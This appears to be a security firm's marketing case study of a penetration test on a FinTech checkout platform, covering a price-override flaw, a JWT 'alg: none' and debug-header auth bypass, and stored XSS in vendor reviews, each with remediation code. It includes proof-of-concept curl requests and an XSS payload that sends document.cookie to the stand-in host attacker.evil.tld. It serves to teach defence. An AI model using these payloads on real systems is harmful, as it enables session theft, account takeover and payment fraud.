Web Application Penetration Testing Hardening high-volume FinTech platforms against business logic bypasses, broken JWT authentication, and AI-introduced client-side injection
Project Details
- Client
- VeloCart is a high-volume, venture-backed e-commerce and FinTech hybrid application processing over $85M in quarterly transaction volume across instant loyalty credits, multi-currency wallets, and digital credit lines
- Industry
- FinTech / E-Commerce
- Company Size
- 250 - 350
- Headquarters
- Austin, Texas
- Project Duration
- 1 month (Feb 2026 - Mar 2026)
A comprehensive, grey-box web application penetration test of a high-throughput FinTech transaction platform (VeloCart FinTech). The engagement resolved critical vulnerabilities introduced by AI-assisted "Vibe Coding" tools, including a severe client-side price override, broken JWT auth middleware accepting alg: "none", and Stored XSS inside vendor feedback channels — hardening endpoints and establishing rigorous, CI-integrated schema validations.
Engagement Classification · TLP:AMBER
Project VeloSecure / FinTech Audit
Full-scope grey-box web application penetration test of a high-throughput transaction platform. 6 weeks, deep API/Business logic analysis, and remediation of AI-introduced codebase vulnerability vectors.
The “Vibe Coding” Paradigm Shift
The accelerating adoption of LLM-assisted programming—colloquially termed “Vibe Coding”—has fundamentally shifted the application vulnerability landscape. Modern software is no longer solely written by senior staff engineers conversant with memory boundaries, sanitization hooks, or rigorous input validation; instead, large swaths of business logic are synthesized dynamically by automated AI co-pilots.
While this maximizes product velocity, it injects subtle, context-dependent architectural flaws that pass conventional, pattern-matching SAST tools. During our 6-week engagement with VeloCart, we proved that AI-generated code is uniquely susceptible to hybrid logical flaws, where the LLM correctly implements a specific local function but completely fails to model the broader systemic threat landscape.
Technical Audit Snapshot
5-Phase Attack Methodology
To stress-test VeloCart’s critical production services, we structured our security assessment around a structured, 5-phase black/grey-box methodology.
Reconnaissance & Endpoint Discovery
Mapped public endpoints, unadvertised API routes, and hidden parameters. Discovered diagnostic headers and multi-tenant billing route paths via passive source analysis.
Threat Modeling & AI Footprint Analysis
Analyzed application behavior to identify areas likely written by LLMs (e.g. repetitive state handlers, lack of defensive middleware hooks, and loose error-handling objects).
Deep Exploitation & Attack Chaining
Executed precision manual exploits targeting complex business logic, input parser inconsistencies, and JSON validation flaws to bypass system state machines.
Post-Exploitation & Blast Radius Assessment
Demonstrated the real-world impact of findings. Validated that we could read sensitive payment profiles and execute multi-account takeovers without triggering telemetry.
Remediation & Guardrail Verification
Co-authored cryptographically signed authorization middleware, input sanitizers, and unit-level CI/CD security filters to permanently block the vulnerabilities.
Target Architecture Under Test
VeloCart leverages a distributed, Next.js API microservice architecture coupled with a central Edge Gateway. The primary attack surfaces included external customer requests, the loyalty engine, and the administrative dashboard.
JWT Auth}:::gateway APICall --> Gateway Gateway -.-> Checkout[Checkout Service
Logic]:::logic Gateway -.-> Loyalty[Loyalty Rewards
AI Service]:::logic Gateway -.-> Invoices[Invoice Service
Rendering]:::logic Checkout --> DB[(PostgreSQL DB)]:::datastore Loyalty --> Redis[(Redis Cache)]:::datastore Invoices --> Blob[(S3 Storage)]:::datastore
JWT Authentication}:::gateway APICall --> Gateway Gateway -.route requests.-> Checkout[Checkout Service
Business Logic]:::logic Gateway -.route requests.-> Loyalty[Loyalty Rewards Engine
AI-Generated Service]:::logic Gateway -.route requests.-> Invoices[Vendor Invoice Service
Dashboard Rendering]:::logic Checkout --> DB[(PostgreSQL DB
Transactions)]:::datastore Loyalty --> Redis[(Redis Cache
Promotional States)]:::datastore Invoices --> Blob[(S3 Storage
Raw HTML Invoices)]:::datastore
Vulnerability Classification Matrix
Each identified vulnerability was triaged using the standardized CVSS v3.1 framework and categorized under corresponding OWASP Top 10 vulnerabilities.
Critical Finding OC-WEB-001 — Checkout Endpoint Price Override
During VeloCart’s development of the dynamic cart validation service, their AI assistant implemented an elegant checkout route that accepted arrays of discount nodes. While the system correctly parsed database items, it trusted client-side dynamic calculations for custom coupon application rates without server-side validation.
Attack Path Sequence
← Swipe horizontally to view full sequence flow →
Attack Proof-of-Concept
curl -X POST https://api.velocart.example/v1/checkout \
-H "Authorization: Bearer <victim_jwt>" \
-H "Content-Type: application/json" \
-d '{
"cartId": "cart_991823a",
"items": [
{ "itemId": "item_premium_macbook", "quantity": 1 }
],
"pricing": {
"basePrice": 249900,
"discounts": [
{
"type": "loyalty_vibe_match",
"code": "LOYALTY99",
"amount": 249800,
"customOverride": true
}
],
"finalChargePrice": 100
}
}'
The microservice read the finalChargePrice block directly into the downstream Stripe and Credit processor loops without cross-referencing basePrice - sum(discounts) server-side, enabling an attacker to buy high-end enterprise electronics for pennies.
The Remediation Block (Before vs After)
Below is the dynamic tab comparison demonstrating the vulnerable, AI-synthesized checkout logic and our hardened schema validation pattern.
// AI code trusted client final calculation
export async function handleCheckout(req, res) {
const { cartId, pricing } = req.body;
// Directly passes total charge from payload
const transaction = await processPayment({
cartId,
amount: pricing.finalChargePrice,
currency: 'USD'
});
return res.status(200).json(transaction);
}// Enforce cryptographic server-side validation
import { z } from 'zod';
import { db } from '@/lib/db';
const checkoutSchema = z.object({
cartId: z.string().uuid(),
pricing: z.object({
discounts: z.array(z.object({
code: z.string(),
amount: z.number().positive(),
}))
})
});
export async function handleCheckout(req, res) {
const parsed = checkoutSchema.parse(req.body);
const cart = await db.carts.findUnique({
where: { id: parsed.cartId },
include: { items: true }
});
// Calculate actual base pricing server-side
const serverCalculatedBase = cart.items.reduce(
(acc, item) => acc + item.price, 0
);
// Validate promo validity against database state
const validatedDiscountSum = await calculatePromo(
parsed.pricing.discounts
);
const secureFinalPrice = Math.max(
0,
serverCalculatedBase - validatedDiscountSum
);
const transaction = await processPayment({
cartId: parsed.cartId,
amount: secureFinalPrice,
currency: 'USD'
});
return res.status(200).json(transaction);
}Live Request Tamperer
Replay the exact checkout price-override payload against both builds. Toggle the intercept tab to send the identical request through the vulnerable AI-generated route versus our hardened, schema-validated endpoint — and watch the response diverge.
POST /v1/checkout HTTP/1.1
Host: api.velocart.example
Authorization: Bearer <victim_jwt>
Content-Type: application/json
{
"cartId": "cart_991823a",
"items": [{ "itemId": "item_premium_macbook", "qty": 1 }],
"pricing": { "basePrice": 249900, "finalChargePrice": 100 }
}{
"orderId": "TX-99021",
"item": "Premium MacBook (249900¢ list)",
"charged": 100,
"currency": "USD"
}The AI-generated route trusts the client’s finalChargePrice verbatim. A $2,499 device ships for $1.00 — a textbook business-logic price override.
{
"error": "PRICE_MISMATCH",
"detail": "client finalChargePrice (100) != server total (249900)",
"validation": "zod:pricing.finalChargePrice",
"logId": "telemetry-4891a"
}The hardened endpoint recomputes the total server-side and rejects the payload via Zod before any charge is attempted. The override is logged as a business-logic violation.
Critical Finding OC-WEB-002 — Broken JWT Middleware & Debug Auth Bypass
During an iterative deployment block, an AI co-pilot was asked to “create a fast testing route for frontend developers to simulate merchant logins without querying the central database.” The model generated a temporary verification block that accepted the cryptographically broken alg: "none" algorithm, while concurrently reading a custom debug header (X-Auth-Bypass) that bypassed identification logic entirely. Crucially, the AI did not wrap this inside an if (process.env.NODE_ENV === 'development') gate.
Attack Vector Diagram
X-Auth-Bypass?} HeaderCheck -->|Yes: Present| BypassAdmin[Auto-Authorize as Admin]:::vuln HeaderCheck -->|No: Absent| ParseJWT{Parse JWT Alg Header} ParseJWT -->|alg: 'none'| TrustSignature[Accept Token Unsigned]:::vuln ParseJWT -->|alg: 'HS256'| VerifyCrypto[Cryptographic HMAC Check]:::ok
Exploitation Mechanics
By structuring a custom unsigned JWT token with the header {"alg":"none"} or simply embedding the undocumented header X-Auth-Bypass: VeloCart-DevTeam-2026 in the request stream, any endpoint in the merchant interface was accessible.
# Proof of Concept: Zero-Signature Merchant Account Takeover
curl -X GET https://api.velocart.example/v1/merchant/wallet \
-H "X-Auth-Bypass: VeloCart-DevTeam-2026" \
-H "X-Merchant-Target: merchant_gold_retail_9981"
This bypass granted absolute administration privileges over the merchant’s financial wallet, allowing full fund diversion.
Hardened Authorization Middleware Implementation
// middleware/auth.ts
// Secured authorization pipeline enforcing strict validation and removing diagnostic hooks.
import { NextRequest, NextResponse } from 'next/server';
import { jose } from 'jose'; // Use safe, high-performance web-crypto implementation
const JWT_SECRET = new TextEncoder().encode(process.env.JWT_SECRET_KEY);
const SUPPORTED_ALGORITHMS = ['HS256', 'RS256'];
export async function middleware(req: NextRequest) {
// 1. Explicitly strip diagnostic and bypass headers before routing
const headers = new Headers(req.headers);
if (headers.has('X-Auth-Bypass')) {
return NextResponse.json({ error: 'Prohibited Header Detected' }, { status: 400 });
}
const authHeader = req.headers.get('Authorization');
if (!authHeader?.startsWith('Bearer ')) {
return NextResponse.json({ error: 'Missing Authentication Token' }, { status: 401 });
}
const token = authHeader.split(' ')[1];
try {
// 2. Decode the header first to inspect algorithm declarations explicitly
const decoded = jose.decodeProtectedHeader(token);
if (!SUPPORTED_ALGORITHMS.includes(decoded.alg || '')) {
return NextResponse.json({ error: 'Unsupported Cryptographic Algorithm' }, { status: 403 });
}
// 3. Perform atomic cryptographic verify using strict internal keys
const { payload } = await jose.jwtVerify(token, JWT_SECRET, {
algorithms: SUPPORTED_ALGORITHMS,
issuer: 'velocart.auth.service',
});
// 4. Bind validated context securely to outbound gateway stream
headers.set('X-Validated-User', payload.sub as string);
headers.set('X-Validated-Role', payload.role as string);
return NextResponse.next({
request: { headers }
});
} catch (error) {
return NextResponse.json({ error: 'Cryptographic Validation Failed' }, { status: 401 });
}
}
Critical Finding OC-WEB-003 — Stored XSS in AI-Generated Vendor Feedback
In the vendor admin dashboard, a dynamic reviews page was constructed via React to showcase feedback comments submitted by international purchasers. The AI code block utilized React’s dangerouslySetInnerHTML to support complex raw HTML tags (e.g. <b>, <i>) without running a secure, multi-layer parser over the values beforehand.
Vulnerability Vector
An attacker could submit a payload into the global product review endpoint with structured, escape-proof JavaScript tags:
{
"productId": "prod_8819",
"rating": 5,
"comment": "<img src=x onerror=\"const exfil=Buffer.from(document.cookie).toString('base64');fetch('https://attacker.evil.tld/log?d='+exfil)\" />"
}
Once the site administrator loaded the corresponding Review Management page, the script executed immediately inside the context of their active session, extracting their session cookie and administrative tokens.
Production Mitigation Integration
// components/VendorFeedback.tsx
// Securely sanitize nested rich HTML tags using DOMPurify with strict configurations.
import React from 'react';
import DOMPurify from 'isomorphic-dompurify'; // Flawless SSR-safe sanitization library
interface ReviewProps {
comment: string;
author: string;
}
export const VendorFeedback: React.FC<ReviewProps> = ({ comment, author }) => {
// Configure DOMPurify to allow ONLY basic formatting tags
const cleanHTML = DOMPurify.sanitize(comment, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
ALLOWED_ATTR: [], // Prohibit src, href, onload, onerror completely
});
return (
<div className="rounded-lg border border-zinc-800 bg-zinc-900/40 p-4 shadow-sm backdrop-blur-md">
<div className="flex justify-between border-b border-zinc-800 pb-2 text-xs">
<span className="font-semibold text-zinc-200">{author}</span>
<span className="text-zinc-500">Verified Merchant Review</span>
</div>
<div
className="mt-3 text-sm text-zinc-300 leading-relaxed"
dangerouslySetInnerHTML={{ __html: cleanHTML }}
/>
</div>
);
};
Attack Surface Risk Score · Before vs After
A quantifiable representation of systemic risk reduction, calculated using active entrypoint accessibility, dynamic session validity windows, and validation parser coverage.
Systemic Risk Mitigation Velocity
Calculated composite threat score across 47 validated API and Web assets
Side-by-Side Attack Simulator Replay
A real-time simulation tracking an attempted checkout price manipulation payload against VeloCart’s legacy codebase and the post-engagement hardened build.
$1.00Quantifiable Business Impact
Our rigorous assessment resulted in quantifiable risk reduction and provided a baseline framework that enabled VeloCart to confidently present their security posture during subsequent funding discussions.
Strategic Takeaways
Securing applications in the era of AI-generated pipelines requires rethinking standard code reviews.
- Logical state machines must be server-validated. An AI program is highly efficient at reading client parameters, but it struggles to conceptualize dynamic trust barriers. Never let the client declare pricing, rates, or administrative status.
- Standardize robust validation hooks globally. Relying on static code patterns leaves blind spots. By standardizing strict runtime validation (e.g. Zod) and enforcing cryptographic JWT middleware, you ensure that even dynamically generated code complies with strict security frameworks.
- Rigorous validation pipelines are a differentiator. High-volume FinTech platforms operate in highly targeted spaces. By integrating continuous penetration testing metrics directly into the deployment pipeline, VeloCart turned a complex technical risk into an unshakeable asset for their market presence.
Ready to secure your architecture?
Initiate a full cryptographic security review, IAM baseline audit, and penetration testing engagement for your organization.
System Schema & Architecture
Curated diagrams, interface snapshots, and architectural blueprints illustrating our core technical approach and environment mapping.
Hear it straight from VeloCart FinTech
“"As we rushed to ship our instant digital credit lines, our development team leaned heavily on AI-assisted coding tools. We thought our automated test suites had us covered. The team at Antigravity showed us otherwise. Within days, they had bypassed our authentication, manipulated order prices at checkout, and demonstrated a devastating account takeover. Their thoroughness and concrete, production-ready code remediation transformed our security posture from a liability to an enterprise differentiator."
James Yahian
Chief Technology Officer at VeloCart FinTech
Network Vulnerability Assessment & Pentesting
Securing a hybrid OT/IT manufacturing enterprise against external VPN compromise, LLMNR/NBT-NS poisoning, and full Active Directory domain takeover
AI & Machine Learning Pentesting
Hardening autonomous LLM agents against jailbreaks, prompt injection, and RAG leakage using the OpenClaw framework